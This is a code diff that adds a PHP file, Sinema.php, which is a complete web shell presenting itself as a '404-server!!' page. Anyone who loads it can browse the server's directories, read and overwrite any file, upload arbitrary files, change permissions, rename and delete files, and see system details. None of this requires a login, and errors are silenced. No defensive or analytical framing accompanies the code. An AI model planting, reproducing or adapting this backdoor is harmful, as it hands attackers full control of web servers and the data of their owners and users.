| 1 | + | <?php |
| 2 | + | |
| 3 | + | //filename Sinema.php |
| 4 | + | set_time_limit(0); |
| 5 | + | error_reporting(0); |
| 6 | + | |
| 7 | + | if(get_magic_quotes_gpc()){ |
| 8 | + | foreach($_POST as $key=>$value){ |
| 9 | + | $_POST[$key] = stripslashes($value); |
| 10 | + | } |
| 11 | + | } |
| 12 | + | echo '<!DOCTYPE HTML> |
| 13 | + | <HTML> |
| 14 | + | <HEAD> |
| 15 | + | <link href="" rel="stylesheet" type="text/css"> |
| 16 | + | <title>404-server!!</title> |
| 17 | + | <style> |
| 18 | + | body{ |
| 19 | + | font-family: "Racing Sans One", cursive; |
| 20 | + | background-color: #e6e6e6; |
| 21 | + | text-shadow:0px 0px 1px #757575; |
| 22 | + | } |
| 23 | + | #content tr:hover{ |
| 24 | + | background-color: #636263; |
| 25 | + | text-shadow:0px 0px 10px #fff; |
| 26 | + | } |
| 27 | + | #content .first{ |
| 28 | + | background-color: silver; |
| 29 | + | } |
| 30 | + | #content .first:hover{ |
| 31 | + | background-color: silver; |
| 32 | + | text-shadow:0px 0px 1px #757575; |
| 33 | + | } |
| 34 | + | table{ |
| 35 | + | border: 1px #000000 dotted; |
| 36 | + | } |
| 37 | + | H1{ |
| 38 | + | font-family: "Rye", cursive; |
| 39 | + | } |
| 40 | + | a{ |
| 41 | + | color: #000; |
| 42 | + | text-decoration: none; |
| 43 | + | } |
| 44 | + | a:hover{ |
| 45 | + | color: #fff; |
| 46 | + | text-shadow:0px 0px 10px #ffffff; |
| 47 | + | } |
| 48 | + | input,select,textarea{ |
| 49 | + | border: 1px #000000 solid; |
| 50 | + | -moz-border-radius: 5px; |
| 51 | + | -webkit-border-radius:5px; |
| 52 | + | border-radius:5px; |
| 53 | + | } |
| 54 | + | </style> |
| 55 | + | </HEAD> |
| 56 | + | <BODY> |
| 57 | + | <H1><center>config root man</center></H1> |
| 58 | + | <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> |
| 59 | + | <tr><td>Current Path : '; |
| 60 | + | if(isset($_GET['path'])){ |
| 61 | + | $path = $_GET['path']; |
| 62 | + | }else{ |
| 63 | + | $path = getcwd(); |
| 64 | + | } |
| 65 | + | $path = str_replace('\\','/',$path); |
| 66 | + | $paths = explode('/',$path); |
| 67 | + | |
| 68 | + | foreach($paths as $id=>$pat){ |
| 69 | + | if($pat == '' && $id == 0){ |
| 70 | + | $a = true; |
| 71 | + | echo '<a href="?path=/">/</a>'; |
| 72 | + | continue; |
| 73 | + | } |
| 74 | + | if($pat == '') continue; |
| 75 | + | echo '<a href="?path='; |
| 76 | + | for($i=0;$i<=$id;$i++){ |
| 77 | + | echo "$paths[$i]"; |
| 78 | + | if($i != $id) echo "/"; |
| 79 | + | } |
| 80 | + | echo '">'.$pat.'</a>/'; |
| 81 | + | } |
| 82 | + | echo '</td></tr><tr><td>'; |
| 83 | + | if(isset($_FILES['file'])){ |
| 84 | + | if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ |
| 85 | + | echo '<font color="green">File Upload Done.</font><br />'; |
| 86 | + | }else{ |
| 87 | + | echo '<font color="red">File Upload Error.</font><br />'; |
| 88 | + | } |
| 89 | + | } |
| 90 | + | echo '<b><br>'.php_uname().'<br></b>'; |
| 91 | + | echo '<form enctype="multipart/form-data" method="POST"> |
| 92 | + | Upload File : <input type="file" name="file" /> |
| 93 | + | <input type="submit" value="upload" /> |
| 94 | + | </form> |
| 95 | + | </td></tr>'; |
| 96 | + | if(isset($_GET['filesrc'])){ |
| 97 | + | echo "<tr><td>Current File : "; |
| 98 | + | echo $_GET['filesrc']; |
| 99 | + | echo '</tr></td></table><br />'; |
| 100 | + | echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>'); |
| 101 | + | }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ |
| 102 | + | echo '</table><br /><center>'.$_POST['path'].'<br /><br />'; |
| 103 | + | if($_POST['opt'] == 'chmod'){ |
| 104 | + | if(isset($_POST['perm'])){ |
| 105 | + | if(chmod($_POST['path'],$_POST['perm'])){ |
| 106 | + | echo '<font color="green">Change Permission Done.</font><br />'; |
| 107 | + | }else{ |
| 108 | + | echo '<font color="red">Change Permission Error.</font><br />'; |
| 109 | + | } |
| 110 | + | } |
| 111 | + | echo '<form method="POST"> |
| 112 | + | Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" /> |
| 113 | + | <input type="hidden" name="path" value="'.$_POST['path'].'"> |
| 114 | + | <input type="hidden" name="opt" value="chmod"> |
| 115 | + | <input type="submit" value="Go" /> |
| 116 | + | </form>'; |
| 117 | + | }elseif($_POST['opt'] == 'rename'){ |
| 118 | + | if(isset($_POST['newname'])){ |
| 119 | + | if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ |
| 120 | + | echo '<font color="green">Change Name Done.</font><br />'; |
| 121 | + | }else{ |
| 122 | + | echo '<font color="red">Change Name Error.</font><br />'; |
| 123 | + | } |
| 124 | + | $_POST['name'] = $_POST['newname']; |
| 125 | + | } |
| 126 | + | echo '<form method="POST"> |
| 127 | + | New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> |
| 128 | + | <input type="hidden" name="path" value="'.$_POST['path'].'"> |
| 129 | + | <input type="hidden" name="opt" value="rename"> |
| 130 | + | <input type="submit" value="Go" /> |
| 131 | + | </form>'; |
| 132 | + | }elseif($_POST['opt'] == 'edit'){ |
| 133 | + | if(isset($_POST['src'])){ |
| 134 | + | $fp = fopen($_POST['path'],'w'); |
| 135 | + | if(fwrite($fp,$_POST['src'])){ |
| 136 | + | echo '<font color="green">Edit File Done.</font><br />'; |
| 137 | + | }else{ |
| 138 | + | echo '<font color="red">Edit File Error.</font><br />'; |
| 139 | + | } |
| 140 | + | fclose($fp); |
| 141 | + | } |
| 142 | + | echo '<form method="POST"> |
| 143 | + | <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> |
| 144 | + | <input type="hidden" name="path" value="'.$_POST['path'].'"> |
| 145 | + | <input type="hidden" name="opt" value="edit"> |
| 146 | + | <input type="submit" value="Go" /> |
| 147 | + | </form>'; |
| 148 | + | } |
| 149 | + | echo '</center>'; |
| 150 | + | }else{ |
| 151 | + | echo '</table><br /><center>'; |
| 152 | + | if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ |
| 153 | + | if($_POST['type'] == 'dir'){ |
| 154 | + | if(rmdir($_POST['path'])){ |
| 155 | + | echo '<font color="green">Delete Dir Done.</font><br />'; |
| 156 | + | }else{ |
| 157 | + | echo '<font color="red">Delete Dir Error.</font><br />'; |
| 158 | + | } |
| 159 | + | }elseif($_POST['type'] == 'file'){ |
| 160 | + | if(unlink($_POST['path'])){ |
| 161 | + | echo '<font color="green">Delete File Done.</font><br />'; |
| 162 | + | }else{ |
| 163 | + | echo '<font color="red">Delete File Error.</font><br />'; |
| 164 | + | } |
| 165 | + | } |
| 166 | + | } |
| 167 | + | echo '</center>'; |
| 168 | + | $scandir = scandir($path); |
| 169 | + | echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> |
| 170 | + | <tr class="first"> |
| 171 | + | <td><center>Name</center></td> |
| 172 | + | <td><center>Size</center></td> |
| 173 | + | <td><center>Permissions</center></td> |
| 174 | + | <td><center>Options</center></td> |
| 175 | + | </tr>'; |
| 176 | + | |
| 177 | + | foreach($scandir as $dir){ |
| 178 | + | if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; |
| 179 | + | echo "<tr> |
| 180 | + | <td><a href=\"?path=$path/$dir\">$dir</a></td> |
| 181 | + | <td><center>--</center></td> |
| 182 | + | <td><center>"; |
| 183 | + | if(is_writable("$path/$dir")) echo '<font color="green">'; |
| 184 | + | elseif(!is_readable("$path/$dir")) echo '<font color="red">'; |
| 185 | + | echo perms("$path/$dir"); |
| 186 | + | if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'; |
| 187 | + | |
| 188 | + | echo "</center></td> |
| 189 | + | <td><center><form method=\"POST\" action=\"?option&path=$path\"> |
| 190 | + | <select name=\"opt\"> |
| 191 | + | <option value=\"\"></option> |
| 192 | + | <option value=\"delete\">Delete</option> |
| 193 | + | <option value=\"chmod\">Chmod</option> |
| 194 | + | <option value=\"rename\">Rename</option> |
| 195 | + | </select> |
| 196 | + | <input type=\"hidden\" name=\"type\" value=\"dir\"> |
| 197 | + | <input type=\"hidden\" name=\"name\" value=\"$dir\"> |
| 198 | + | <input type=\"hidden\" name=\"path\" value=\"$path/$dir\"> |
| 199 | + | <input type=\"submit\" value=\">\" /> |
| 200 | + | </form></center></td> |
| 201 | + | </tr>"; |
| 202 | + | } |
| 203 | + | echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'; |
| 204 | + | foreach($scandir as $file){ |
| 205 | + | if(!is_file("$path/$file")) continue; |
| 206 | + | $size = filesize("$path/$file")/1024; |
| 207 | + | $size = round($size,3); |
| 208 | + | if($size >= 1024){ |
| 209 | + | $size = round($size/1024,2).' MB'; |
| 210 | + | }else{ |
| 211 | + | $size = $size.' KB'; |
| 212 | + | } |
| 213 | + | |
| 214 | + | echo "<tr> |
| 215 | + | <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td> |
| 216 | + | <td><center>".$size."</center></td> |
| 217 | + | <td><center>"; |
| 218 | + | if(is_writable("$path/$file")) echo '<font color="green">'; |
| 219 | + | elseif(!is_readable("$path/$file")) echo '<font color="red">'; |
| 220 | + | echo perms("$path/$file"); |
| 221 | + | if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'; |
| 222 | + | echo "</center></td> |
| 223 | + | <td><center><form method=\"POST\" action=\"?option&path=$path\"> |
| 224 | + | <select name=\"opt\"> |
| 225 | + | <option value=\"\"></option> |
| 226 | + | <option value=\"delete\">Delete</option> |
| 227 | + | <option value=\"chmod\">Chmod</option> |
| 228 | + | <option value=\"rename\">Rename</option> |
| 229 | + | <option value=\"edit\">Edit</option> |
| 230 | + | </select> |
| 231 | + | <input type=\"hidden\" name=\"type\" value=\"file\"> |
| 232 | + | <input type=\"hidden\" name=\"name\" value=\"$file\"> |
| 233 | + | <input type=\"hidden\" name=\"path\" value=\"$path/$file\"> |
| 234 | + | <input type=\"submit\" value=\">\" /> |
| 235 | + | </form></center></td> |
| 236 | + | </tr>"; |
| 237 | + | } |
| 238 | + | echo '</table> |
| 239 | + | </div>'; |
| 240 | + | } |
| 241 | + | echo '<br />Man Man <br /> |
| 242 | + | </BODY> |
| 243 | + | </HTML>'; |
| 244 | + | function perms($file){ |
| 245 | + | $perms = fileperms($file); |
| 246 | + | |
| 247 | + | if (($perms & 0xC000) == 0xC000) { |
| 248 | + | // Socket |
| 249 | + | $info = 's'; |
| 250 | + | } elseif (($perms & 0xA000) == 0xA000) { |
| 251 | + | // Symbolic Link |
| 252 | + | $info = 'l'; |
| 253 | + | } elseif (($perms & 0x8000) == 0x8000) { |
| 254 | + | // Regular |
| 255 | + | $info = '-'; |
| 256 | + | } elseif (($perms & 0x6000) == 0x6000) { |
| 257 | + | // Block special |
| 258 | + | $info = 'b'; |
| 259 | + | } elseif (($perms & 0x4000) == 0x4000) { |
| 260 | + | // Directory |
| 261 | + | $info = 'd'; |
| 262 | + | } elseif (($perms & 0x2000) == 0x2000) { |
| 263 | + | // Character special |
| 264 | + | $info = 'c'; |
| 265 | + | } elseif (($perms & 0x1000) == 0x1000) { |
| 266 | + | // FIFO pipe |
| 267 | + | $info = 'p'; |
| 268 | + | } else { |
| 269 | + | // Unknown |
| 270 | + | $info = 'u'; |
| 271 | + | } |
| 272 | + | |
| 273 | + | // Owner |
| 274 | + | $info .= (($perms & 0x0100) ? 'r' : '-'); |
| 275 | + | $info .= (($perms & 0x0080) ? 'w' : '-'); |
| 276 | + | $info .= (($perms & 0x0040) ? |
| 277 | + | (($perms & 0x0800) ? 's' : 'x' ) : |
| 278 | + | (($perms & 0x0800) ? 'S' : '-')); |
| 279 | + | |
| 280 | + | // Group |
| 281 | + | $info .= (($perms & 0x0020) ? 'r' : '-'); |
| 282 | + | $info .= (($perms & 0x0010) ? 'w' : '-'); |
| 283 | + | $info .= (($perms & 0x0008) ? |
| 284 | + | (($perms & 0x0400) ? 's' : 'x' ) : |
| 285 | + | (($perms & 0x0400) ? 'S' : '-')); |
| 286 | + | |
| 287 | + | // World |
| 288 | + | $info .= (($perms & 0x0004) ? 'r' : '-'); |
| 289 | + | $info .= (($perms & 0x0002) ? 'w' : '-'); |
| 290 | + | $info .= (($perms & 0x0001) ? |
| 291 | + | (($perms & 0x0200) ? 't' : 'x' ) : |
| 292 | + | (($perms & 0x0200) ? 'T' : '-')); |
| 293 | + | |
| 294 | + | return $info; |
| 295 | + | } |
| 296 | + | ?> |